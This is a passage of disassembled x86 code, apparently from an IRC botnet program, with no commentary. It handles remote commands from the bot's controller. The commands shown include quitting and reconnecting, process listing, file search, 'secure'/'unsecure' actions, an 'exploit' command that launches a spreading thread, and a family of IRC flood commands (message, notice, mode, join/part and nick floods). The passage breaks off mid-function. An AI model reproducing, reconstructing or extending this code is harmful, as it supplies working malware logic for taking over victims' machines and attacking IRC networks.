		push	offset aFicken	; "ficken"
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EE0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 20h
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_404F29:				; CODE XREF: sub_40274D+148Aj
					; sub_40274D+149Fj
		push	dword_4D1FD0
		call	sub_41D5F8
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EDE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 24h
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_404F64:				; CODE XREF: sub_40274D+1460j
					; sub_40274D+1475j
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	short loc_404F93
		cmp	[ebp+4Ch+var_18], ebx
		jz	short loc_404FA2
		push	esi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_404FA2
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		add	esp, 0Ch
		jmp	short loc_404FA2
; ---------------------------------------------------------------------------


loc_404F93:				; CODE XREF: sub_40274D+281Dj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		pop	ecx
		pop	ecx


loc_404FA2:				; CODE XREF: sub_40274D+2822j
					; sub_40274D+2831j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_404FAA:				; CODE XREF: sub_40274D+1436j
					; sub_40274D+144Bj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	offset dword_42ED90
		call	sub_417D70
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_404FCC:				; CODE XREF: sub_40274D+140Cj
					; sub_40274D+1421j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	offset dword_42ED5C
		call	sub_417D70
		add	esp, 0Ch


loc_404FE6:				; CODE XREF: sub_40274D+7915j
		xor	eax, eax
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_404FED:				; CODE XREF: sub_40274D+13E2j
					; sub_40274D+13F7j
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B553
		jmp	loc_409DE9
; ---------------------------------------------------------------------------


loc_405000:				; CODE XREF: sub_40274D+13B8j
					; sub_40274D+13CDj
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B4FF
		jmp	loc_409DE9
; ---------------------------------------------------------------------------


loc_405013:				; CODE XREF: sub_40274D+138Ej
					; sub_40274D+13A3j
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B494
		jmp	loc_409DE9
; ---------------------------------------------------------------------------


loc_405026:				; CODE XREF: sub_40274D+1364j
					; sub_40274D+1379j
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B3C5
		jmp	loc_409DE9
; ---------------------------------------------------------------------------


loc_405039:				; CODE XREF: sub_40274D+12C8j
					; sub_40274D+12DDj
		push	dword ptr [ebp+esi+4Ch+Args]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_42ED3C
		jmp	short loc_40505B
; ---------------------------------------------------------------------------


loc_40504B:				; CODE XREF: sub_40274D+129Ej
					; sub_40274D+12B3j
		push	dword ptr [ebp+esi+4Ch+Args] ; Str
		push	24h		; int
		push	offset aFindFile ; "Find file"
		push	offset dword_42ED20 ; int


loc_40505B:				; CODE XREF: sub_40274D+EF1j
					; sub_40274D+F41j ...
		push	[ebp+4Ch+var_C]	; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; int
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B0BB
		add	esp, 20h
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_405074:				; CODE XREF: sub_40274D+F05j
					; sub_40274D+F1Aj
		mov	edi, dword ptr [ebp+esi+4Ch+Args]
		cmp	edi, ebx
		jz	short loc_405090
		push	edi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jz	short loc_405090
		push	edi		; Str
		call	j__atol
		pop	ecx
		jmp	short loc_405095
; ---------------------------------------------------------------------------


loc_405090:				; CODE XREF: sub_40274D+292Dj
					; sub_40274D+2938j
		mov	eax, dword_43C070


loc_405095:				; CODE XREF: sub_40274D+2941j
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		mov	[ebp+4Ch+var_598], eax
		jz	short loc_4050B7
		push	esi		; Format


loc_4050A4:				; CODE XREF: sub_40274D+2979j
		lea	eax, [ebp+4Ch+var_5A8]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4050CE
; ---------------------------------------------------------------------------


loc_4050B7:				; CODE XREF: sub_40274D+2954j
		cmp	[ebp+4Ch+var_907], bl
		jz	short loc_4050C8
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		jmp	short loc_4050A4
; ---------------------------------------------------------------------------


loc_4050C8:				; CODE XREF: sub_40274D+2970j
		mov	[ebp+4Ch+var_5A8], bl


loc_4050CE:				; CODE XREF: sub_40274D+2968j
		mov	eax, [ebp+4Ch+var_4]
		push	[ebp+4Ch+Format] ; Format
		mov	esi, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_58C], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_588], eax
		lea	eax, [ebp+4Ch+var_628]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_62C], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+4Ch+var_598]
		push	esi
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42ECF8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	19h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 1Ch
		mov	[ebp+4Ch+var_594], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_62C]
		push	eax
		push	offset sub_4144B2
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_594]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40517F
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42ECBC
		jmp	loc_40A211
; ---------------------------------------------------------------------------


loc_405177:				; CODE XREF: sub_40274D+2A38j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40517F:				; CODE XREF: sub_40274D+2A17j
		cmp	[ebp+4Ch+var_584], ebx
		jz	short loc_405177
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_40518C:				; CODE XREF: sub_40274D+EB5j
					; sub_40274D+ECAj
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	short loc_4051A9
		push	esi		; Str
		call	j__atol
		test	ax, ax
		pop	ecx
		jz	short loc_4051A9
		push	esi		; Str
		call	j__atol
		pop	ecx
		jmp	short loc_4051AF
; ---------------------------------------------------------------------------


loc_4051A9:				; CODE XREF: sub_40274D+2A45j
					; sub_40274D+2A51j
		mov	ax, word_43C080


loc_4051AF:				; CODE XREF: sub_40274D+2A5Aj
		push	[ebp+4Ch+Format] ; Format
		mov	esi, [ebp+4Ch+arg_4]
		mov	edi, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_984], ax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_974], eax
		lea	eax, [ebp+4Ch+var_A04]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_A08], esi
		mov	[ebp+4Ch+var_978], edi
		call	__snprintf
		movzx	eax, [ebp+4Ch+var_984]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EC90 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	edi		; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	esi		; int
		call	sub_40123B
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 30h
		mov	[ebp+4Ch+var_980], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_A08]
		push	eax
		push	offset sub_411555
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_980]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40527B
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EC50
		jmp	loc_40A211
; ---------------------------------------------------------------------------


loc_405273:				; CODE XREF: sub_40274D+2B34j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40527B:				; CODE XREF: sub_40274D+2B13j
		cmp	[ebp+4Ch+var_970], ebx
		jz	short loc_405273
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_405288:				; CODE XREF: sub_40274D+E61j
					; sub_40274D+E76j ...
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4052B0
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+4Ch+var_A18], ebx
		jnz	short loc_4052BA


loc_4052B0:				; CODE XREF: sub_40274D+2B4Aj
		mov	[ebp+4Ch+var_A18], 1


loc_4052BA:				; CODE XREF: sub_40274D+2B61j
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_A9C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_AA0], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_A14], eax
		mov	eax, [ebp+4Ch+var_C]
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_A18], ebx
		mov	[ebp+4Ch+var_A10], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4052FE
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4052FE:				; CODE XREF: sub_40274D+2BAAj
		push	eax
		push	offset asc_42EC1C ; "-"
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	22h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 1Ch
		mov	[ebp+4Ch+var_A1C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_AA0]
		push	eax
		push	offset sub_41D1C3
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_A1C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_405375
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42EBE0
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_40536D:				; CODE XREF: sub_40274D+2C2Ej
		push	32h
		call	ds:dword_42B014	; Sleep


loc_405375:				; CODE XREF: sub_40274D+2C0Dj
		cmp	[ebp+4Ch+var_A0C], ebx
		jz	short loc_40536D
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_405382:				; CODE XREF: sub_40274D+E37j
					; sub_40274D+E4Cj
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41D41B
		jmp	loc_409DE9
; ---------------------------------------------------------------------------


loc_405395:				; CODE XREF: sub_40274D+E0Dj
					; sub_40274D+E22j
		push	offset unk_42EB30
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_40539F:				; CODE XREF: sub_40274D+DE3j
					; sub_40274D+DF8j
		push	offset aBloodRep ; "blood-rep"
		push	offset dword_42EB1C
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_4053AE:				; CODE XREF: sub_40274D+DB9j
					; sub_40274D+DCEj
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	short loc_405407
		push	esi		; Str
		call	j__atol
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4053FC
		cmp	eax, 3
		jge	short loc_4053FC
		mov	edx, [ebp+4Ch+Str1]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_4053F1
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FDE8 ; "-"
		push	eax		; Dest
		call	_sprintf
		mov	[esi], bl
		jmp	loc_40698A
; ---------------------------------------------------------------------------


loc_4053F1:				; CODE XREF: sub_40274D+2C86j
		push	eax
		push	offset unk_42EAF0
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4053FC:				; CODE XREF: sub_40274D+2C72j
					; sub_40274D+2C77j
		push	eax
		push	offset unk_42EAC4
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_405407:				; CODE XREF: sub_40274D+2C67j
		mov	edi, [ebp+4Ch+Str1]
		xor	esi, esi


loc_40540C:				; CODE XREF: sub_40274D+2CD8j
		push	[ebp+4Ch+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40542C
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40540C
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_40542C:				; CODE XREF: sub_40274D+2CCCj
		mov	eax, [ebp+4Ch+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	offset asc_42FDE8 ; "-"
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_405446:				; CODE XREF: sub_40274D+D8Fj
					; sub_40274D+DA4j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_403F48
		call	sub_40AFF6


loc_405462:				; CODE XREF: sub_40274D+2552j
		push	ebx
		call	ds:dword_42B000	; ExitProcess


loc_405469:				; CODE XREF: sub_40274D+1831j
		push	offset aGet_1	; "get"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40550F
		cmp	dword_4D5898, ebx
		jz	short loc_405495
		push	offset byte_4D5698
		push	offset asc_42EA88 ; "-"
		jmp	loc_405521
; ---------------------------------------------------------------------------


loc_405495:				; CODE XREF: sub_40274D+2D37j
		push	10h
		pop	eax
		push	eax		; Size
		mov	[ebp+4Ch+var_2D8], eax
		lea	eax, [ebp+4Ch+var_2F0]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+4Ch+var_2D8]
		push	eax
		lea	eax, [ebp+4Ch+var_2F0]
		push	eax
		push	[ebp+4Ch+arg_4]
		call	ds:dword_42B220	; getsockname
		movzx	eax, [ebp+4Ch+var_2EA]
		push	eax
		movzx	eax, [ebp+4Ch+var_2EB]
		push	eax
		movzx	eax, [ebp+4Ch+var_2EC]
		push	eax
		lea	eax, [ebp+4Ch+var_DB8]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+var_DB8]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EA88 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_40550F:				; CODE XREF: sub_40274D+2D2Bj
		push	esi
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_405535
		push	offset asc_42EA48 ; "-"


loc_405521:				; CODE XREF: sub_40274D+2D43j
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_405535:				; CODE XREF: sub_40274D+2DCDj
		push	offset byte_4D5698 ; Dest
		call	_strcpy
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EA1C ; "-"
		push	eax		; Dest
		mov	dword_4D5898, 1
		call	_sprintf
		add	esp, 14h
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_405563:				; CODE XREF: sub_40274D+1819j
		push	edi		; Str2
		push	offset aExploit	; "exploit"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40565C
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_13EC], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_13E8], eax
		mov	eax, [ebp+4Ch+arg_4]
		mov	esi, offset a_fast__1 ;	"#.fast.#"
		push	esi		; Format
		mov	[ebp+4Ch+var_13FC], eax
		mov	edi, 80h
		lea	eax, [ebp+4Ch+var_147C]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_13F4], 1
		call	__snprintf
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_14FC]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+4Ch+var_8]	; Format
		lea	eax, [ebp+4Ch+var_150C]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+4Ch+var_150C]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42E9E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 3Ch
		mov	[ebp+4Ch+var_13F0], eax
		lea	eax, [ebp+4Ch+var_304]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_150C]
		push	eax
		push	offset sub_40C15B
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_13F0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_40564F
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E9A4
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_405647:				; CODE XREF: sub_40274D+2F08j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_40564F:				; CODE XREF: sub_40274D+2EE7j
		cmp	[ebp+4Ch+var_13E4], ebx
		jz	short loc_405647
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_40565C:				; CODE XREF: sub_40274D+2E25j
		push	edi		; Str2
		push	offset aReconnect_in ; "reconnect.in"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A01D
		push	edi		; Str2
		push	offset aRin	; "rin"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A01D
		push	edi		; Str2
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409FE3
		push	edi		; Str2
		push	offset aRinms	; "rinms"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409FE3
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aFlood	; "flood"
		call	_strcmp
		test	eax, eax
		mov	edi, ds:dword_42B014
		pop	ecx
		pop	ecx
		jnz	loc_406175
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aLoad	; "load"
		call	_strcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_405750
		cmp	[ebp+esi+4Ch+var_94], ebx
		jz	short loc_405750
		push	[ebp+esi+4Ch+var_94] ; Str
		call	j__atol
		pop	ecx
		push	eax		; int
		push	[ebp+esi+4Ch+var_98] ; Str
		call	j__atol
		pop	ecx
		push	eax		; int
		push	[ebp+esi+4Ch+Format] ; Source
		call	sub_41A954
		push	[ebp+esi+4Ch+var_98]
		lea	eax, [ebp+4Ch+Dst]
		push	[ebp+esi+4Ch+Format]
		push	[ebp+esi+4Ch+var_94]
		push	offset asc_42E93C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_405750
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_405750:				; CODE XREF: sub_40274D+2F9Ej
					; sub_40274D+2FA4j ...
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4057B3
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		jz	short loc_4057B3
		push	offset asc_42FE58 ; " "
		push	offset a_	; "_"
		push	eax		; Dest
		call	sub_41AB7D
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_50FC]
		push	eax		; Dest
		call	_strcpy
		lea	eax, [ebp+4Ch+var_50FC]
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 28h


loc_4057B3:				; CODE XREF: sub_40274D+3014j
					; sub_40274D+301Cj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aCt	; "ct"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405816
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		jz	short loc_405816
		push	offset asc_42FE58 ; " "
		push	offset a_	; "_"
		push	eax		; Dest
		call	sub_41AB7D
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_4BF8]
		push	eax		; Dest
		call	_strcpy
		lea	eax, [ebp+4Ch+var_4BF8]
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS ; "privmsg %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 28h


loc_405816:				; CODE XREF: sub_40274D+3077j
					; sub_40274D+307Fj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aNt	; "nt"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405879
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		jz	short loc_405879
		push	offset asc_42FE58 ; " "
		push	offset a_	; "_"
		push	eax		; Dest
		call	sub_41AB7D
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_46F4]
		push	eax		; Dest
		call	_strcpy
		lea	eax, [ebp+4Ch+var_46F4]
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_0 ; "notice %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 28h


loc_405879:				; CODE XREF: sub_40274D+30DAj
					; sub_40274D+30E2j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4058DC
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		jz	short loc_4058DC
		push	offset asc_42FE58 ; " "
		push	offset a_	; "_"
		push	eax		; Dest
		call	sub_41AB7D
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_4DF8]
		push	eax		; Dest
		call	_strcpy
		lea	eax, [ebp+4Ch+var_4DF8]
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aModeSS	; "mode	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 28h


loc_4058DC:				; CODE XREF: sub_40274D+313Dj
					; sub_40274D+3145j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405918
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		jz	short loc_405918
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h


loc_405918:				; CODE XREF: sub_40274D+31A0j
					; sub_40274D+31A8j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aPart_0	; "part"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405954
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		jz	short loc_405954
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartS	; "part	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h


loc_405954:				; CODE XREF: sub_40274D+31DCj
					; sub_40274D+31E4j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aPartflood ; "partflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405995
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		jz	short loc_405995
		push	offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405995:				; CODE XREF: sub_40274D+3218j
					; sub_40274D+3220j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aPnick	; "pnick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405A04
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	short loc_405A04
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+4Ch+var_1810]
		push	edx
		push	[ebp+esi+4Ch+Format]
		push	offset aSI	; "%s%i"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+var_1810]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h


loc_405A04:				; CODE XREF: sub_40274D+3259j
					; sub_40274D+325Fj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aJoinPart ; "join/part"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405B36
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	loc_405B36
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
